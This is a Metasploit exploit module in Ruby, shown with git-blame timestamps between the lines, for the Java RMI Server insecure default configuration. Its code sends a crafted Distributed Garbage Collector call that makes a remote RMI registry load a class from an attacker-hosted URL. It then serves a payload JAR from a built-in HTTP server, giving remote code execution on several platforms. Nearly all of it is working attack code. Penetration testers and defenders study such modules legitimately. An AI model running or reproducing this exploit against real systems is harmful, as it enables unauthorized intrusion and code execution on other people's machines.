2011-07-15 20:42:31 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-07-15 20:42:31 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
2015-10-09 20:24:34 +00:00
|
|
|
include Msf::Exploit::Remote::Java::Rmi::Client
|
2014-11-14 00:21:19 +00:00
|
|
|
include Msf::Exploit::Remote::HttpServer
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Java RMI Server Insecure Default Configuration Java Code Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
This module takes advantage of the default configuration of the RMI Registry and
|
2015-10-10 04:37:11 +00:00
|
|
|
RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
|
2013-08-30 21:28:54 +00:00
|
|
|
invokes a method in the RMI Distributed Garbage Collector which is available via every
|
2015-10-10 04:37:11 +00:00
|
|
|
RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
|
2013-08-30 21:28:54 +00:00
|
|
|
(custom) RMI endpoints as well.
|
|
|
|
|
|
|
|
Note that it does not work against Java Management Extension (JMX) ports since those do
|
2015-10-10 04:37:11 +00:00
|
|
|
not support remote class loading, unless another RMI endpoint is active in the same
|
2013-08-30 21:28:54 +00:00
|
|
|
Java process.
|
|
|
|
|
|
|
|
RMI method calls do not support or require any sort of authentication.
|
|
|
|
},
|
|
|
|
'Author' => [ 'mihi' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
# RMI protocol specification
|
2015-10-10 04:37:11 +00:00
|
|
|
[ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'],
|
2013-08-30 21:28:54 +00:00
|
|
|
# Placeholder reference for matching
|
2015-10-10 04:37:11 +00:00
|
|
|
[ 'MSF', 'java_rmi_server']
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Oct 15 2011',
|
2013-09-24 17:33:31 +00:00
|
|
|
'Platform' => %w{ java linux osx solaris win },
|
2014-11-14 00:00:11 +00:00
|
|
|
'Privileged' => false,
|
2015-10-10 04:37:11 +00:00
|
|
|
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
|
2014-11-14 00:00:11 +00:00
|
|
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
2014-11-14 00:21:19 +00:00
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'WfsDelay' => 10
|
|
|
|
},
|
2014-11-14 00:00:11 +00:00
|
|
|
'Targets' =>
|
2013-08-30 21:28:54 +00:00
|
|
|
[
|
|
|
|
[ 'Generic (Java Payload)',
|
|
|
|
{
|
|
|
|
'Platform' => ['java'],
|
|
|
|
'Arch' => ARCH_JAVA
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[ 'Windows x86 (Native Payload)',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[ 'Linux x86 (Native Payload)',
|
|
|
|
{
|
|
|
|
'Platform' => 'linux',
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[ 'Mac OS X PPC (Native Payload)',
|
|
|
|
{
|
|
|
|
'Platform' => 'osx',
|
|
|
|
'Arch' => ARCH_PPC,
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[ 'Mac OS X x86 (Native Payload)',
|
|
|
|
{
|
|
|
|
'Platform' => 'osx',
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
}
|
|
|
|
]
|
|
|
|
],
|
2014-11-14 00:00:11 +00:00
|
|
|
'DefaultTarget' => 0
|
2013-08-30 21:28:54 +00:00
|
|
|
))
|
2014-11-14 00:21:19 +00:00
|
|
|
register_options([
|
|
|
|
Opt::RPORT(1099),
|
2015-10-10 04:37:11 +00:00
|
|
|
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
|
2015-10-10 03:20:35 +00:00
|
|
|
], self.class)
|
|
|
|
register_common_rmi_ports_and_services
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2014-11-14 00:21:19 +00:00
|
|
|
begin
|
|
|
|
Timeout.timeout(datastore['HTTPDELAY']) { super }
|
|
|
|
rescue Timeout::Error
|
2015-10-10 04:37:11 +00:00
|
|
|
# When the server stops due to our timeout, re-raise
|
2014-11-14 01:17:09 +00:00
|
|
|
# RuntimeError so it won't wait the full wfs_delay
|
2015-10-10 04:37:11 +00:00
|
|
|
raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"
|
2014-11-14 01:17:09 +00:00
|
|
|
rescue Msf::Exploit::Failed
|
2015-10-10 03:20:35 +00:00
|
|
|
# When the server stops due primer failing, re-raise
|
2014-11-14 01:17:09 +00:00
|
|
|
# RuntimeError so it won't wait the full wfs_delays
|
2015-10-10 04:37:11 +00:00
|
|
|
raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}"
|
|
|
|
rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e
|
2014-11-14 04:34:17 +00:00
|
|
|
# When the primer fails due to an error connecting with
|
2015-10-10 03:20:35 +00:00
|
|
|
# the rhost, re-raise RuntimeError so it won't wait the
|
2014-11-14 04:34:17 +00:00
|
|
|
# full wfs_delays
|
2015-10-10 04:37:11 +00:00
|
|
|
raise ::RuntimeError, e.message
|
2014-11-14 00:21:19 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def primer
|
2013-08-30 21:28:54 +00:00
|
|
|
connect
|
2015-01-08 22:04:56 +00:00
|
|
|
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Sending RMI Header...")
|
2015-01-08 22:04:56 +00:00
|
|
|
send_header
|
|
|
|
ack = recv_protocol_ack
|
|
|
|
if ack.nil?
|
2015-10-10 04:37:11 +00:00
|
|
|
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
|
2015-01-08 20:52:55 +00:00
|
|
|
end
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
jar = rand_text_alpha(rand(8)+1) + '.jar'
|
|
|
|
new_url = get_uri + '/' + jar
|
2015-01-08 22:04:56 +00:00
|
|
|
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Sending RMI Call...")
|
2015-04-01 17:09:42 +00:00
|
|
|
dgc_interface_hash = calculate_interface_hash(
|
|
|
|
[
|
|
|
|
{
|
|
|
|
name: 'clean',
|
|
|
|
descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V',
|
|
|
|
exceptions: ['java.rmi.RemoteException']
|
|
|
|
},
|
|
|
|
{
|
|
|
|
name: 'dirty',
|
|
|
|
descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;',
|
|
|
|
exceptions: ['java.rmi.RemoteException']
|
|
|
|
}
|
|
|
|
]
|
|
|
|
)
|
|
|
|
|
|
|
|
# JDK 1.1 stub protocol
|
|
|
|
# Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub)
|
2015-10-10 04:37:11 +00:00
|
|
|
# Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean))
|
2015-03-17 16:26:27 +00:00
|
|
|
send_call(
|
|
|
|
object_number: 2,
|
|
|
|
uid_number: 0,
|
|
|
|
uid_time: 0,
|
|
|
|
uid_count: 0,
|
|
|
|
operation: 0,
|
2015-10-10 03:20:35 +00:00
|
|
|
hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash
|
2015-03-17 16:26:27 +00:00
|
|
|
arguments: build_dgc_clean_args(new_url)
|
|
|
|
)
|
|
|
|
|
2015-10-10 04:38:33 +00:00
|
|
|
return_value = recv_return
|
2015-01-08 22:04:56 +00:00
|
|
|
|
2015-03-18 02:29:52 +00:00
|
|
|
if return_value.nil? && !session_created?
|
2015-10-10 03:20:35 +00:00
|
|
|
fail_with(Failure::Unknown, 'RMI Call failed')
|
2015-01-08 22:04:56 +00:00
|
|
|
end
|
|
|
|
|
2015-03-18 02:29:52 +00:00
|
|
|
if return_value && return_value.is_exception? && loader_disabled?(return_value)
|
2015-10-10 03:20:35 +00:00
|
|
|
fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled')
|
2015-01-08 22:04:56 +00:00
|
|
|
end
|
|
|
|
|
2015-03-18 02:29:52 +00:00
|
|
|
if return_value && return_value.is_exception? && class_not_found?(return_value)
|
2015-10-10 03:20:35 +00:00
|
|
|
fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload')
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
2014-11-14 00:21:19 +00:00
|
|
|
disconnect
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
2015-10-10 03:20:35 +00:00
|
|
|
def on_request_uri(cli, request)
|
2013-08-30 21:28:54 +00:00
|
|
|
if request.uri =~ /\.jar$/i
|
|
|
|
p = regenerate_payload(cli)
|
|
|
|
jar = p.encoded_jar
|
|
|
|
paths = [
|
2015-10-10 04:37:11 +00:00
|
|
|
[ "metasploit", "RMILoader.class" ],
|
|
|
|
[ "metasploit", "RMIPayload.class" ],
|
2013-08-30 21:28:54 +00:00
|
|
|
]
|
2015-10-10 04:37:11 +00:00
|
|
|
jar.add_files(paths, MetasploitPayloads.path('java'))
|
2013-08-30 21:28:54 +00:00
|
|
|
|
2015-10-10 04:37:11 +00:00
|
|
|
send_response(cli, jar.pack,
|
2013-08-30 21:28:54 +00:00
|
|
|
{
|
|
|
|
'Content-Type' => 'application/java-archive',
|
|
|
|
'Connection' => 'close',
|
|
|
|
'Pragma' => 'no-cache'
|
|
|
|
})
|
|
|
|
|
|
|
|
print_status("Replied to request for payload JAR")
|
2014-11-14 00:21:19 +00:00
|
|
|
stop_service
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2016-01-07 22:55:41 +00:00
|
|
|
def cleanup
|
|
|
|
# Normally service termination should not be managed on the module's level, but this is a
|
|
|
|
# special case.
|
|
|
|
#
|
|
|
|
# Originally this special service termination routine was implemented in
|
|
|
|
# Exploit::Remote::TcpServer#stop_service, but that would actually cause all HttpServers to stop
|
|
|
|
# if one of them attempts to register a resource that is already taken, which seems to be a
|
|
|
|
# harsh punishment. This is why the fix is moved here.
|
|
|
|
#
|
|
|
|
# See references:
|
|
|
|
# https://github.com/rapid7/metasploit-framework/pull/4203
|
|
|
|
# https://github.com/rapid7/metasploit-framework/issues/6445
|
|
|
|
service.stop if service
|
|
|
|
|
|
|
|
super
|
|
|
|
end
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def autofilter
|
|
|
|
return true
|
|
|
|
end
|
2012-04-27 20:22:40 +00:00
|
|
|
|
2015-03-18 02:29:52 +00:00
|
|
|
def loader_disabled?(return_value)
|
|
|
|
return_value.value.each do |exception|
|
|
|
|
if exception.class == Rex::Java::Serialization::Model::NewObject &&
|
|
|
|
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
|
|
|
|
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&&
|
2015-10-10 04:24:51 +00:00
|
|
|
[Rex::Java::Serialization::Model::NullReference, Rex::Java::Serialization::Model::Reference].include?(exception.class_data[0].class) &&
|
2015-03-18 02:29:52 +00:00
|
|
|
exception.class_data[1].contents.include?('RMI class loader disabled')
|
2015-01-08 22:04:56 +00:00
|
|
|
return true
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
false
|
|
|
|
end
|
|
|
|
|
2015-03-18 02:29:52 +00:00
|
|
|
def class_not_found?(return_value)
|
|
|
|
return_value.value.each do |exception|
|
|
|
|
if exception.class == Rex::Java::Serialization::Model::NewObject &&
|
|
|
|
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
|
|
|
|
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'
|
2015-01-08 22:04:56 +00:00
|
|
|
return true
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
false
|
|
|
|
end
|
|
|
|
|
2015-03-17 16:26:27 +00:00
|
|
|
def build_dgc_clean_args(jar_url)
|
|
|
|
arguments = []
|
2015-01-14 22:47:28 +00:00
|
|
|
|
|
|
|
new_array_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
|
|
new_array_annotation.contents = [
|
|
|
|
Rex::Java::Serialization::Model::NullReference.new,
|
|
|
|
Rex::Java::Serialization::Model::EndBlockData.new
|
|
|
|
]
|
|
|
|
|
|
|
|
new_array_super = Rex::Java::Serialization::Model::ClassDesc.new
|
|
|
|
new_array_super.description = Rex::Java::Serialization::Model::NullReference.new
|
|
|
|
|
|
|
|
new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
2015-10-10 04:37:11 +00:00
|
|
|
new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;')
|
2015-01-14 22:47:28 +00:00
|
|
|
new_array_desc.serial_version = 0x871300b8d02c647e
|
|
|
|
new_array_desc.flags = 2
|
|
|
|
new_array_desc.fields = []
|
|
|
|
new_array_desc.class_annotation = new_array_annotation
|
|
|
|
new_array_desc.super_class = new_array_super
|
|
|
|
|
|
|
|
array_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
|
|
|
array_desc.description = new_array_desc
|
|
|
|
|
|
|
|
new_array = Rex::Java::Serialization::Model::NewArray.new
|
|
|
|
new_array.type = 'java.rmi.server.ObjID;'
|
|
|
|
new_array.values = []
|
|
|
|
new_array.array_description = array_desc
|
|
|
|
|
2015-03-17 16:26:27 +00:00
|
|
|
arguments << new_array
|
2015-10-10 03:20:35 +00:00
|
|
|
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
|
2015-01-14 22:47:28 +00:00
|
|
|
|
|
|
|
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
2015-10-10 04:37:11 +00:00
|
|
|
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
|
2015-01-14 22:47:28 +00:00
|
|
|
new_class_desc.serial_version = 0xa16544ba26f9c2f4
|
|
|
|
new_class_desc.flags = 2
|
|
|
|
new_class_desc.fields = []
|
|
|
|
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
|
|
new_class_desc.class_annotation.contents = [
|
2015-10-10 04:37:11 +00:00
|
|
|
Rex::Java::Serialization::Model::Utf.new(nil, jar_url),
|
2015-01-14 22:47:28 +00:00
|
|
|
Rex::Java::Serialization::Model::EndBlockData.new
|
|
|
|
]
|
|
|
|
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
|
|
|
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
|
|
|
|
|
|
|
new_object = Rex::Java::Serialization::Model::NewObject.new
|
|
|
|
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
|
|
|
new_object.class_desc.description = new_class_desc
|
|
|
|
new_object.class_data = []
|
|
|
|
|
2015-03-17 16:26:27 +00:00
|
|
|
arguments << new_object
|
2015-01-14 22:47:28 +00:00
|
|
|
|
2015-10-10 04:37:11 +00:00
|
|
|
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
|
2015-01-14 22:47:28 +00:00
|
|
|
|
2015-03-17 16:26:27 +00:00
|
|
|
arguments
|
2015-01-14 22:47:28 +00:00
|
|
|
end
|
|
|
|
|
2011-07-15 20:42:31 +00:00
|
|
|
end
|